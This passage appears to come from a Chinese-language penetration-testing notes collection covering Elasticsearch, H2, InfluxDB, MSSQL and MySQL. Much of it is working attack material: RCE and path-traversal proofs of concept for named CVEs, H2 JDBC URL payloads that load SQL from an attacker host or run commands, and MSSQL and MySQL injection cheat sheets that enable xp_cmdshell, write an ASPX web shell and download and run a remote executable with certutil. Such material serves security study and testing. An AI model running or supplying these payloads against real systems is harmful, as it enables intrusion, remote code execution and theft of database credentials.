API,所以只支持JSON格式,而Solr则支持多种格式但在实时搜索性能上优于Solr。Elasticsearch是面向文档的存储的,并且使用JSON作为文档的序列化格式。 4 | 5 | 一个运行中的Elasticsearch实例称为一个节点,而集群是由一个或者多个拥有相同cluster.name配置的节点组成。Elasticsearch使用一种称为倒排索引的结构,它适用于快速的全文搜索。一个倒排索引由文档中所有不重复词的列表构成。 6 | 7 | 软件安装包下载: https://www.elastic.co/downloads/past-releases 8 | 9 | 源码下载: https://github.com/elastic/elasticsearch/tags 10 | 11 | 低版本远程调试: `elasticsearch -D "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5556"` 12 | 13 | windows下安装:解压下载后的zip文件,进入bin目录,双击elasticsearch.bat。脚本之行完成会显示`started`,浏览器打开`http://localhost:9200`访问到如下格式的信息即安装成功 14 | ``` 15 | { 16 | "status" : 200, 17 | "name" : "Jekyll", 18 | "cluster_name" : "elasticsearch", 19 | "version" : { 20 | "number" : "1.4.2", 21 | "build_hash" : "927caff6f05403e936c20bf4529f144f0c89fd8c", 22 | "build_timestamp" : "2014-12-16T14:11:12Z", 23 | "build_snapshot" : false, 24 | "lucene_version" : "4.10.2" 25 | }, 26 | "tagline" : "You Know, for Search" 27 | } 28 | ``` 29 | 除了通过web接口,还可以通过curl来交互(其中,VERB代表HTTP方法,包含GET、 POST、 PUT、 HEAD或者DELETE) 30 | ``` 31 | curl -X '://:/?' -d '' 32 | ``` 33 | 34 | 基本概念: 35 | ``` 36 | 文档: 数据的存储形式 37 | 索引(动词): 存储文档到Elasticsearch的行为,类似INSERT。 38 | 索引(名词): 类似传统关系型数据库中的一个数据库。index的复数为indices 或 indexes 39 | ``` 40 | 41 | 基本语句 42 | ``` 43 | # /索引/文档类型/ID 录入信息, 在请求的查询串参数中加上pretty参数,使JSON响应体更加可读。 44 | curl -X PUT "localhost:9200/megacorp/employee/1?pretty" -H 'Content-Type: application/json' -d "{\"first_name\":\"John\",\"last_name\":\"Smith\",\"age\":25,\"about\":\"I love to go rock climbing\",\"interests\":[ \"sports\", \"music\"]}" 45 | 46 | # 查询某个ID的数据 47 | curl -X GET "localhost:9200/megacorp/employee/1" 48 | 49 | # 查询所有数据 50 | curl -X GET "localhost:9200/megacorp/employee/_search" 51 | 52 | # query-string搜索 53 | curl -X GET "localhost:9200/megacorp/employee/_search?q=last_name:Smith" 54 | 55 | # 替代query-string的查询表达式,适用于复杂搜索、全文搜索等。如果要对关键词更精准,可以将match替换为match_phrase,即短语搜索 56 | GET /megacorp/employee/_search 57 | { 58 | "query" : { 59 | "match" : { 60 | "last_name" : "Smith" 61 | } 62 | } 63 | } 64 | 65 | # 聚合分析aggregations,类似group by,可以和match等组合使用 66 | GET /megacorp/employee/_search 67 | { 68 | "aggs": { 69 | "all_interests": { 70 | "terms": { "field": "interests" } 71 | } 72 | } 73 | } 74 | 75 | # 查询文档中的部分字段 76 | GET /website/blog/123?_source=title,text 77 | 78 | # 创建新文档,而不覆盖旧的(不确定已有id的情况),只有在_index、_type和_id都不存在时才创建,否则409 79 | PUT /website/blog/123?op_type=create 80 | PUT /website/blog/123/_create 81 | 82 | # 文档的部分更新 83 | POST /website/blog/1/_update 84 | { 85 | "doc" : { 86 | "tags" : [ "testing" ], 87 | "views": 0 88 | } 89 | } 90 | 91 | # 使用脚本(默认为groovy)更新文档,有些版本已禁用脚本,在config/elasticsearch.yml定义script.groovy.sandbox.enabled: false 92 | POST /website/blog/1/_update 93 | { 94 | "script" : "ctx._source.views+=1" 95 | } 96 | 97 | # 分页搜索,类似LIMIT 98 | GET /_search?size=5&from=10 99 | ``` 100 | 101 | 一些接口 102 | ``` 103 | _cluster/health #集群状态 104 | _search #查询所有文档 105 | /索引/类型/_search #具体某个索引类型下搜索所有文档 106 | 107 | ``` 108 | 109 | 历史漏洞: 110 | |漏洞编号|漏洞类型|影响版本| 111 | |:----:|:----:|:----:| 112 | |CVE-2014-3120|RCE|< 1.2| 113 | |CVE-2015-1427|RCE|< 1.3.8, 1.4.3| 114 | |CVE-2015-3337|目录穿越|< 1.4.5, 1.5.2| 115 | |CVE-2015-5531|目录穿越|< 1.6.1| 116 | |WooYun-2015-110216|目录穿越|< 1.5.1| 117 | 118 | 119 | ## CVE-2015-1427 120 | Ref: https://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/ 121 | 122 | POC 123 | ``` 124 | POST /_search?pretty 125 | 126 | {"size":1, "script_fields": {"xxx":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\").getText()"}}} 127 | ``` 128 | 这个漏洞的重点在于绕过沙箱。1.3之前的版本可以随意写入Java语句。后来在执行表达式查询时,增加了`GroovySandboxExpressionChecker.isAuthorized()`。 129 | ``` 130 | public boolean isAuthorized(Expression expression) { 131 | if (expression instanceof MethodCallExpression) { 132 | MethodCallExpression mce = (MethodCallExpression) expression; 133 | String methodName = mce.getMethodAsString(); // poc中得到的methodName为getText 134 | if (methodBlacklist.contains(methodName)) { // 黑名单包括"getClass"、"wait"、"notify"、"notifyAll"、"finalize"方法 135 | return false; 136 | } else if (methodName == null && mce.getMethod() instanceof GStringExpression) { 137 | // We do not allow GStrings for method invocation, they are a security risk 138 | return false; 139 | } 140 | } else if (expression instanceof ConstructorCallExpression) { 141 | ConstructorCallExpression cce = (ConstructorCallExpression) expression; 142 | ClassNode type = cce.getType(); 143 | if (!packageWhitelist.contains(type.getPackageName())) { 144 | return false; 145 | } 146 | if (!classWhitelist.contains(type.getName())) { 147 | return false; 148 | } 149 | } 150 | return true; 151 | } 152 | ``` 153 | 并且能调用的包设定了白名单 154 | ``` 155 | java.lang.Math.class.getName(), 156 | java.lang.Integer.class.getName(), "[I", "[[I", "[[[I", 157 | ... 158 | java.util.Date.class.getName(), 159 | java.util.List.class.getName(), 160 | java.util.Map.class.getName(), 161 | java.util.Set.class.getName(), 162 | java.lang.Object.class.getName(), 163 | ``` 164 | 165 | ## CVE-2015-3337 166 | 漏洞需要安装"Site plugins",较为流行的"Site plugins"包括Head、Kopf等。安装Head插件,在bin文件夹下运行如下命令(限于5.0版本之前) 167 | ``` 168 | plugin -install mobz/elasticsearch-head 169 | ``` 170 | 访问`http://localhost:9200/_plugin/head/`,查看是否安装成功(无需重启) 171 | 172 | POC(不能在浏览器访问) 173 | ``` 174 | http://localhost:9200/_plugin/head/../../../../../../../../../etc/passwd 175 | http://localhost:9200/_plugin/head/../../../../../../../../Windows/win.ini/ 176 | ``` 177 | 修复: https://github.com/elastic/elasticsearch/pull/10815/files 178 | 漏洞修复时在`HttpServer.handlePluginSite()`中增加了一条判断`!file.toAbsolutePath().normalize().startsWith(siteFile.toAbsolutePath())`,过滤目录穿越 179 | 180 | ## CVE-2015-5531 181 | 官方描述此漏洞是`read arbitrary files via unspecified vectors related to snapshot API calls`,查看snapshot的官方文档,所谓快照是一种备份的功能,想要制作快照需要先注册存储库(每个存储库都是独立的,数据不共享),然后在存储库中创建快照。官方给出的这两步的API使用demo如下 182 | ``` 183 | PUT /_snapshot/my_repository 184 | { 185 | "type": "fs", 186 | "settings": { 187 | "location": "my_backup_location" 188 | } 189 | } 190 | 191 | PUT /_snapshot/my_repository/my_snapshot 192 | ``` 193 | 只需要将location后面随意写个存储位置,然后访问如下网址 194 | ``` 195 | GET /_snapshot/my_repository/my_snapshot%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fWindows%2fwin.ini/ 196 | ``` 197 | 得到如下响应内容 198 | ``` 199 | HTTP/1.1 400 Bad Request 200 | Content-Type: application/json; charset=UTF-8 201 | Content-Length: 524 202 | 203 | {"error":"ElasticsearchParseException[Failed to derive xcontent from (offset=0, length=92): [59, 32, 102, 111, 114, 32, 49, 54, 45, 98, 105, 116, 32, 97, 112, 112, 32, 115, 117, 112, 112, 111, 114, 116, 13, 10, 91, 102, 111, 110, 116, 115, 93, 13, 10, 91, 101, 120, 116, 101, 110, 115, 105, 111, 110, 115, 93, 13, 10, 91, 109, 99, 105, 32, 101, 120, 116, 101, 110, 115, 105, 111, 110, 115, 93, 13, 10, 91, 102, 105, 108, 101, 115, 93, 13, 10, 91, 77, 97, 105, 108, 93, 13, 10, 77, 65, 80, 73, 61, 49, 13, 10]]","status":400} 204 | ``` 205 | 将error中的ascii码进行解码,例如可以在chrome的console中利用`String.fromCharCode(ascii)`来解码,得到真实内容 206 | 207 | ## WooYun-2015-110216 208 | Ref: http://wooyun.2xss.cc/bug_detail.php?wybug_id=wooyun-2015-0110216 209 | -------------------------------------------------------------------------------- /Database/H2 Database.md: -------------------------------------------------------------------------------- 1 | # H2 Database 2 | 3 | H2是一个用Java开发的嵌入式数据库。H2的运行模式包括:内嵌模式(本地连接,使用JDBC)、服务器模式(远程连接,从其他进程或其他机器访问,在TCP层使用JDBC或ODBC)、混合模式(设置AUTO_SERVER=TRUE,同时支持本地或远程)。各运行模式的Url如下 4 | ``` 5 | 6 | 本地连接——本地文件连接 7 | jdbc:h2:~/test 8 | jdbc:h2:file:/data/sample 9 | jdbc:h2:file:C:/data/sample(windows) 10 | 11 | 本地连接——内存数据库 12 | jdbc:h2:mem:(私有格式,只有一个到内存数据库的连接) 13 | jdbc:h2:mem:(这样到内存数据库有多个连接,但是默认最后一个连接关闭时会关闭内存数据库,如果要保持数据库连接添加DB_CLOSE_DELAY=-1) 14 | 15 | 服务器模式 16 | jdbc:h2:tcp://[:]/[] 17 | jdbc:h2:ssl://[:]/ 18 | jdbc:h2:tcp://localhost/~/test 19 | jdbc:h2:tcp://localhost/mem:test 20 | jdbc:h2:ssl://localhost:8085/~/sample; 21 | ``` 22 | 23 | 数据库连接时可以进行一些设置,例如连接时执行sql 24 | ``` 25 | jdbc:h2:;INIT=RUNSCRIPT FROM '~/create.sql' // 执行一个sql文件 26 | jdbc:h2:file:~/sample;INIT=RUNSCRIPT FROM '~/create.sql'\;RUNSCRIPT FROM '~/populate.sql' // 执行多个sql文件 27 | ``` 28 | 29 | 官方网站:http://www.h2database.com/html/main.html 30 | 31 | 历史安装版本下载地址:http://www.h2database.com/html/download-archive.html 32 | 33 | 重点历史漏洞: 34 | | 漏洞编号 | 漏洞类型 | 影响版本 | 35 | |:---:|:---:|:---:| 36 | |CVE-2021-23463|SQL|< 2.0.202 | 37 | |CVE-2021-42392|RCE|<= 2.0.204| 38 | |CVE-2022-23221|RCE|< 2.1.210| 39 | 40 | ## CVE-2022-23221 41 | 参考链接: https://packetstormsecurity.com/files/165676/H2-Database-Console-Remote-Code-Execution.html 42 | 对于数据库URL的官方说明: http://www.h2database.com/html/features.html 43 | 44 | 这个漏洞用到的payload 45 | ``` 46 | jdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT 47 | FROM 'http://attacker/evil.sql';'\ 48 | ``` 49 | `INIT`参数是H2数据库的JDBC URL支持的一个配置,即在连接数据库时支持执行一条初始化命令,但命令中不能包含分号。这个Payload又借助了另一个命令`RUNSCRIPT`,该命令用于执行SQL文件,例如`RUNSCRIPT FROM './evil.sql'`,对应的处理类是`h2/src/main/org/h2/store/fs/FilePathDisk.java` 50 | ``` 51 | public InputStream newInputStream() throws IOException { 52 | if (name.matches("[a-zA-Z]{2,19}:.*")) { 53 | if (name.startsWith(CLASSPATH_PREFIX)) { // classpath: ...} 54 | URL url = new URL(name); 55 | return url.openStream(); 56 | } 57 | FileInputStream in = new FileInputStream(name); 58 | IOUtils.trace("openFileInputStream", name, in); 59 | return in; 60 | } 61 | ``` 62 | 而这个类再读取数据时,也可以读取url地址。所以就可以将命令执行的sql写到文件中。进而造成RCE。参考链接中给出的sql内容如下,也可以参照文章下方的命令执行部分的sql,实现JDBC注入造成命令执行 63 | ``` 64 | CREATE TABLE test ( 65 | id INT NOT NULL 66 | ); 67 | 68 | CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript 69 | var fos = Java.type("java.io.FileOutputStream"); 70 | var b = new fos ("/tmp/pwnedlolol");'; 71 | 72 | INSERT INTO TEST VALUES (1); 73 | ``` 74 | 75 | ## CVE-2021-42392 76 | 参考链接: https://jfrog.com/blog/the-jndi-strikes-back-unauthenticated-rce-in-h2-database-console/ 77 | 78 | ## Spring+H2 未授权访问 79 | SpringBoot配置H2一般如下,这样会为web应用增加一个路径`/h2-console/`,这个默认路径可以通过`spring.h2.console.path`来修改。 80 | ``` 81 | spring.h2.console.enabled=true 82 | spring.h2.console.settings.web-allow-others=true 83 | ``` 84 | 而spring.h2.console.settings.web-allow-others设置为true,就会允许任意用户访问console。造成未授权访问。然后可以与上述JNDI攻击配合。 85 | 86 | ## 命令执行 87 | https://www.h2database.com/html/commands.html 88 | 89 | 根据上述官方官方文档,H2支持的命令中`CREATE ALIAS`和`CREATE TRIGGER`可以让用户自定义函数(UDF),P牛给出一个自定义shell函数的写法,其中两个`$`符号表示无需转义的长字符串。 90 | ``` 91 | CREATE ALIAS shell AS $$void shell(String s) throws Exception { java.lang.Runtime.getRuntime().exec(s); 92 | }$$; 93 | SELECT shell('cmd /c calc.exe'); 94 | ``` 95 | 这个利用的前提是(1)h2 console支持“创建”数据库,如果默认不支持则需要在启动console时添加`-ifNotExists`参数(2)目标系统配置了javac (3)创建UDF并执行 96 | 97 | 98 | ## 不出网命令执行 99 | 后来P牛也提到,如果实战中,遇到不出网的情况,上面CVE-2022-23221从url中加载sql文件就无法生效。init只能执行一条sql。也就是只能定义UDF不能执行UDF。就需要在定义的时候就让代码执行。然后提出了利用Groovy元编程的技巧,在编译Groovy语句(而非执行时)就执行攻击者预期的代码。 100 | ``` 101 | jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS shell2 AS $$@groovy.transform.ASTTest(value={ 102 | assert java.lang.Runtime.getRuntime().exec("cmd.exe /c calc.exe") }) 103 | def x$$ 104 | ``` 105 | 但是这个不出网利用要用到本地的groovy依赖,并且这个groovy依赖不是常见的groovy库,而是groovy-sql,依赖如下 106 | ``` 107 | 108 | org.codehaus.groovy 109 | groovy-sql 110 | 3.0.8 111 | 112 | ``` 113 | 114 | 这个限制就很难了。所以P牛又提到了`CREATE TRIGGER`。官方文档表明,可以使用`javax.script.ScriptEngineManager`创建org.h2.api.Trigger的实例。来解析javascript或ruby脚本。由于`javax.script.ScriptEngineManager`是jdk自带的,避免了需要`groovy-sql`这种第三方依赖的问题。 115 | 116 | 而Trigger在编译对象时,只通过前缀来判断脚本。`org.h2.schema.TriggerObject@loadFromSource`代码如下 117 | ```java 118 | if (SourceCompiler.isJavaxScriptSource(triggerSource)) { 119 | return (Trigger) compiler.getCompiledScript(fullClassName).eval(); 120 | } 121 | 122 | public static boolean isJavaxScriptSource(String source) { 123 | return isJavascriptSource(source) || isRubySource(source); 124 | } 125 | 126 | private static boolean isJavascriptSource(String source) { 127 | return source.startsWith("//javascript"); // 128 | } 129 | 130 | private static boolean isRubySource(String source) { 131 | return source.startsWith("#ruby"); 132 | } 133 | ``` 134 | 代码表明只要以`//javascript`开头就认为是javascript脚本,构造的payload如下。`//javascript`后面需要有个换行!这个jdbc url相对上面的payload来讲,没有什么限制。只要在paylaod可控的背景下就可以攻击。 135 | ``` 136 | jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript 137 | java.lang.Runtime.getRuntime().exec('cmd /c calc.exe') 138 | $$ 139 | ``` 140 | 141 | 很多攻击是基于H2 database console界面的,利用方式存在一些限制。但是如果能直接控制JDBC URL的场景,就没有如下的限制。 142 | ``` 143 | 开启 -webAllowOthers 选项,支持外网访问 144 | 开启 -ifNotExists 选项,支持创建数据库 145 | ``` 146 | -------------------------------------------------------------------------------- /Database/InfluxDB.md: -------------------------------------------------------------------------------- 1 | # InfluxDB 2 | InfluxDB是一个由InfluxData开发的开源时序型数据库 (Time Series Database,TSDB) ,由Go编写,用于处理和存储时序数据(随时间不断产生的一系列带时间戳的数据)被广泛应用于存储系统的监控数据,IoT行业的实时数据等场景。 3 | 4 | 历史版本源码下载: https://github.com/influxdata/influxdb/tags 5 | 6 | Windows安装包下载(将后缀换成所需版本): https://dl.influxdata.com/influxdb/releases/influxdb-1.7.4_windows_amd64.zip 7 | 8 | Windows安装教程,按顺序执行如下三步(其中config后的路径改为自己influxdb的目录位置) 9 | ``` 10 | influxd.exe config C:\influxdb-1.7.4\influxdb.conf 11 | influxd.exe 12 | influx.exe 13 | ``` 14 | influx正确启动后,可以看到如下显示,并可以在命令行中进行交互 15 | ``` 16 | Connected to http://localhost:8086 version 1.7.4 17 | ``` 18 | 19 | 官方使用教程: https://docs.influxdata.com/influxdb/v2.4/get-started/ 20 | 21 | 22 | 历史漏洞 23 | 24 | |漏洞编号|漏洞类型|影响版本| 25 | |:----:|:----:|:----:| 26 | |CVE-2019-20933|身份验证绕过|< 1.7.6| 27 | |CVE-2022-36640|RCE|< 1.8.10| 28 | 29 | 30 | ## CVE-2019-20933 31 | Ref: https://www.komodosec.com/post/when-all-else-fails-find-a-0-day 32 | -------------------------------------------------------------------------------- /Database/mssql.md: -------------------------------------------------------------------------------- 1 | ## mssql 注入 2 | 3 | 查询数据库名称 4 | ``` 5 | select name from master.dbo.sysdatabases; 6 | ``` 7 | `master、model、msdb、tempdb`是mssql的默认数据库 8 | 9 | 查询用户权限 10 | ``` 11 | select IS_MEMBER('db_owner'); 12 | ``` 13 | 服务器角色包含:`sysadmin、serveradmin、securityadmin、processadmin、setupadmin、bulkadmin、diskadmin、dbcreator、public` 14 | 数据库角色包含:`db_owner、db_securityadmin、db_accessadmin、db_backupoperator、db_ddladmin、db_datawriter、db_datareader、db_denydatewriter、db_denydatareader` 15 | 16 | 查询数据库版本 17 | ``` 18 | select @@version; 19 | ``` 20 | 21 | 查询当前数据库名 22 | ``` 23 | select db_name(); 24 | ``` 25 | 26 | 查询服务器名称 27 | ``` 28 | select HOST_NAME(); 29 | select @@SERVERNAME; 30 | ``` 31 | 32 | 爆当前数据库 33 | ``` 34 | select * from xxx where id=1 and db_name()>0; 35 | select * from xxx where id=1 and db_name()>'e'; 36 | ``` 37 | 38 | 查询数据库下的所有表 39 | ``` 40 | select * from INFORMATION_SCHEMA.TABLES; 41 | ``` 42 | 43 | 爆表名,xx代表表名。`1=`可能出现数据类型转换错误,形成报错注入。或用对应类型的`'e'<`来判断名称 44 | ``` 45 | select * from xxx where id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name='xx'); 46 | select * from xxx where id=1 and 'e'<(select top 1 name from sysobjects where xtype='u' and name='xx'); 47 | 48 | select * from xxx where id=1 and 'e'<(select top 1 TABLE_NAME from INFORMATION_SCHEMA.TABLES); 49 | ``` 50 | 51 | 爆列名 52 | ``` 53 | select * from xxx where id=1 and 'b'>(select top 1 name from syscolumns where id=(select id from sysobjects where name='xx') and name<>'id'); 54 | ``` 55 | 56 | 爆数据 57 | ``` 58 | select * from xxx where id=1 and 1=(select top 1 password from xx); 59 | select * from xxx where id=1 and 'C'<(select top 1 password from xx); 60 | ``` 61 | 62 | 报错注入 63 | ``` 64 | select * from xxx where id=1 (select CAST(USER as int)); 65 | select * from xxx where id=1 (select convert(int,USER)); 66 | select * from xxx where id=1 select 1 union (select CAST(USER as int)) 67 | // 用declare定义变量并执行,还可对变量进行HEX和ASCII编码 68 | select * from xxx where id=1;declare @a nvarchar(2000) set @a='select convert(int,@@version)' exec(@a); 69 | // ASCII编码 70 | select * from HrmResourceManager where id=1;declare @a nvarchar(2000) set @a=CHAR(115) + CHAR(101) + CHAR(108) + CHAR(101) + CHAR(99) + CHAR(116) + CHAR(32) + CHAR(99) + CHAR(111) + CHAR(110) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(116) + CHAR(40) + CHAR(105) + CHAR(110) + CHAR(116) + CHAR(44) + CHAR(64) + CHAR(64) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(115) + CHAR(105) + CHAR(111) + CHAR(110) + CHAR(41) exec(@a); 71 | ``` 72 | 73 | 盲注 74 | ``` 75 | // 布尔盲注 76 | select * from xxx where id=1 and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1))>=109; 77 | // 时间盲注 78 | select * from xxx where id=1;if(ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 WAITFOR DELAY '0:0:5'; 79 | ``` 80 | 81 | 联合注入 82 | ``` 83 | // null的数量需要与xxx表的列数相同 84 | select * from xxx where id=1 union select null,null,null; 85 | ``` 86 | 87 | 列目录 88 | ``` 89 | execute master..xp_dirtree 'c:' // 列出C盘下的所有文件和目录 90 | execute master..xp_dirtree 'c:',1 // 只列出C文件夹 91 | ``` 92 | 93 | 写shell 94 | ``` 95 | // 创建文件夹表 96 | select * from xxx where id=1;CREATE TABLE testtemp (dir varchar(8000),num int,num1 int); 97 | // 将C盘的文件夹名称写入数据表 98 | select * from xxx where id=1;insert into testtemp(dir,num,num1) execute master..xp_dirtree 'C:',1,1; 99 | // 创建cmd执行表 100 | select * from xxx where id=1;CREATE TABLE cmdtemp (dir varchar(8000)); 101 | // 将cmd搜索结果写入表 102 | select * from xxx where id=1;insert into cmdtemp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (lululu.jsp) do @echo %i'; 103 | // 指定目录写文件 104 | select * from xxx where id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\lululu.aspx' ; 105 | ``` 106 | 107 | xp_cmdshell不存在的解决方法 108 | ``` 109 | // 如果master..xp_cmdshell未开启,用如下命令开启 110 | EXEC sp_configure 'show advanced options', 1; //允许更改参数 111 | RECONFIGURE; 112 | EXEC sp_configure 'xp_cmdshell', 1; //开启xp_cmdshell 113 | RECONFIGURE; 114 | 115 | // 如果master..xp_cmdshell被删除,恢复sp_oacreate 116 | EXEC sp_configure 'show advanced options', 1; //允许更改参数 117 | RECONFIGURE WITH OVERRIDE; 118 | EXEC sp_configure 'Ole Automation Procedures',1; 119 | RECONFIGURE WITH OVERRIDE; 120 | EXEC sp_configure 'show advanced options',0; 121 | RECONFIGURE WITH OVERRIDE; 122 | ``` 123 | 124 | sp_oacreate执行命令 125 | ``` 126 | declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c calc.exe' 127 | 128 | declare @o int 129 | exec sp_oacreate 'Shell.Application', @o out 130 | exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1'; 131 | ``` 132 | 133 | 差异备份 134 | ``` 135 | //这一步很可能出现拒绝访问错误,说明没有文件夹操作权限。只有给予该文件夹读写权限才能执行 136 | backup database xxxx to disk='c:\Users\xxxxx' 137 | backup database xxxx to disk='c:\Users\xxxxx' WITH DIFFERENTIAL,FORMAT;-- 138 | 139 | // 日志备份 140 | alter database ecology set RECOVERY FULL; //先将数据库恢复模式设为完整模式 141 | backup log ecology to disk='C:\Users\xxx\log.bak' with init 142 | ``` 143 | 144 | 站库分离(网站和数据库分别在不同的内网服务器上)场景下getshell 145 | ``` 146 | exec master.dbo.xp_cmdshell 'cd c:\Users\xxxxx & certutil -urlcache -split -f http://ip:port/file.exe'; //从远程下载恶意文件并运行,除certutil外还可用vbs、bitsadmin、powershell、ftp 147 | exec master.dbo.xp_cmdshell 'cd c:\Users\xxxxx & file.exe'; 148 | ``` 149 | 150 | 其他的一些进阶操作,参考:https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI/blob/master/2.2.MSSQL%E6%8F%90%E6%9D%83%E4%B8%8E%E7%AB%99%E5%BA%93%E5%88%86%E7%A6%BB.md 151 | 152 | 特殊符号 153 | ``` 154 | 注释: /* */ -- 155 | 空白符号: /**/ 156 | 加号: %2b (查询多条数据) 157 | ``` 158 | 159 | 一些绕过 160 | ``` 161 | // 表名转换为[表名] 162 | select top 1 name from sysobjects -> select top 1 name from[sysobjects] 163 | 164 | // 注释 165 | union select -> union/*select*/ 166 | union select -> union/*!1*/select--*/ 167 | 168 | // 注释+换行(%0a) , %20空格 169 | select * from xxx where id=1--/*%0aif (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--%20*/ 170 | select * from xxx where id=1--/*%0aexec xp_create_subdir 'c:\text'--%20*/ 171 | ``` 172 | 173 | mssql对象类型 174 | ``` 175 | AF = 聚合函数 (CLR) 176 | C = CHECK 约束 177 | D = 默认或默认约束 178 | F = FOREIGN KEY 约束 179 | L = 对数 180 | FN = 标量函数 181 | FS = 装配 (CLR) 标量函数 182 | FT = 装配(CLR) 表值函数 183 | IF = 内联表函数 184 | IT = 内部表 185 | P = 存储过程 186 | PC = 程序集 (CLR) 存储过程 187 | PK = 主键约束(类型为 K) 188 | RF = 复制过滤器存储过程 189 | S = 系统表 190 | SN = 同义词 191 | SO = 序列 192 | SQ = 服务队列 193 | TA = 装配 (CLR) DML 触发器 194 | TF = 表函数 195 | TR = SQL DML 触发器 196 | TT = 表类型 197 | U = 用户表 198 | UQ = UNIQUE 约束(类型为 K) 199 | V = 视图 200 | X = 扩展存储过程 201 | ``` 202 | 203 | -------------------------------------------------------------------------------- /Database/mysql.md: -------------------------------------------------------------------------------- 1 | ## MySQL注入 2 | 3 | ### 查询 4 | ``` 5 | # 查询数据库 6 | show databases; 7 | 8 | # 查询数据表 9 | use test; 10 | show tables; 11 | 12 | # 查询数据库 13 | select schema_name from information_schema.schemata; 14 | 15 | # 查询数据表 16 | select table_name from information_schema.tables where table_schema=0x74657374; // "test" 或 "test"的十六进制表示 17 | 18 | # 判断列数 19 | order by 1 根据第x列进行排序,如果x超过列数则报错 20 | 21 | # 查询列 22 | select column_name from information_schema.columns where table_name=0x7573657273; // "users" 或 "users"的十六进制表示 23 | 24 | # 具体查询某数据库、某表的列 25 | select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=0x74657374; 26 | 27 | # 数据库版本查询 28 | select @@version; 29 | select version(); 30 | select /*!40000 version()*/ 31 | 32 | # 其他信息查询 33 | select @@datadir; // 查询数据库所在路径 34 | select @@version_compile_os; //查询操作系统 35 | select system_user() //系统用户名 36 | select user() //用户名 37 | select current_user() //当前用户名 38 | select session_user() //连接数据库的用户名 39 | select 1,host,user from mysql.user; //查询host与user 40 | ``` 41 | `information_schema`是用于存储数据库元数据的表,它保存了数据库名,表名,列名等信息。`SCHEMATA`表保存所有数据库信息;`TABLES`表保存数据库中的表信息。`COLUMNS`表保存了表的列信息 42 | `/*!`后面跟的是版本,表示在X版本之上执行。上面表示的是在mysql4以上版本执行 43 | 44 | ### 注入类型 45 | ``` 46 | select * from users where id = 1; 47 | select * from users where id = '1'; 48 | select * from users where id = "1"; 49 | select * from users where id = (1); 50 | select * from users where id = ('1'); 51 | select * from users where id = ("1"); 52 | select * from users where username like '%adm%'; 53 | select * from users where username like ('%adm%'); 54 | ``` 55 | 56 | ### 联合注入 57 | ``` 58 | id=-2' union select 1,schema_name,3 from information_schema.schemata limit 2,1 -- + 59 | id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- + 60 | id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 -- + 61 | id=-2' union select 1,group_concat(username,0x7C,password),3 from users-- + 62 | ``` 63 | `limit N `返回N条记录;`limit N,M`相当于`limit M offset N`,即从第 N 条记录开始, 返回 M 条记录。 64 | 65 | ### 报错注入 66 | ``` 67 | 1.floor() 向下取整:只返回值X的整数部分,小数部分舍弃 68 | select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); 69 | 70 | floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复。 71 | * 类似方法 72 | ROUND() 四舍五入取整 73 | CEILING() 向上取整 74 | 75 | 2.extractvalue() MySQL 5.1.5版本中添加,对XML文档进行查询。使用XPath表示法从XML字符串中提取值 76 | select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); 77 | 78 | 3.updatexml() MySQL 5.1.5版本中添加,返回替换的XML片段 79 | select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); 80 | 81 | 4.geometrycollection() 几何对象,高版本中不适用 82 | select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b)); 83 | 84 | 5.multipoint() 几何对象,高版本中不适用 85 | select * from test where id=1 and multipoint((select * from(select * from(select user())a)b)); 86 | 87 | 6.polygon() 几何对象,高版本中不适用 88 | select * from test where id=1 and polygon((select * from(select * from(select user())a)b)); 89 | 90 | 7.multipolygon() 几何对象,高版本中不适用 91 | select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b)); 92 | 93 | 8.linestring() 几何对象,高版本中不适用 94 | select * from test where id=1 and linestring((select * from(select * from(select user())a)b)); 95 | 96 | 9.multilinestring() 几何对象,高版本中不适用 97 | select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b)); 98 | 99 | 10.exp() 溢出报错 100 | select * from test where id=1 and exp(~(select * from(select user())a)); 101 | ``` 102 | 103 | 以updatexml为例 104 | ``` 105 | 爆库: 106 | updatexml(1,(select concat(0x7e, (schema_name),0x7e) FROM information_schema.schemata limit 2,1),1) -- + 107 | 108 | 爆表: 109 | updatexml(1,(select concat(0x7e, (table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- + 110 | 111 | 爆字段: 112 | updatexml(1,(select concat(0x7e, (column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- + 113 | 114 | 爆数据: 115 | updatexml(1,(select concat(0x7e, password,0x7e) from users limit 1,1),1) -- + 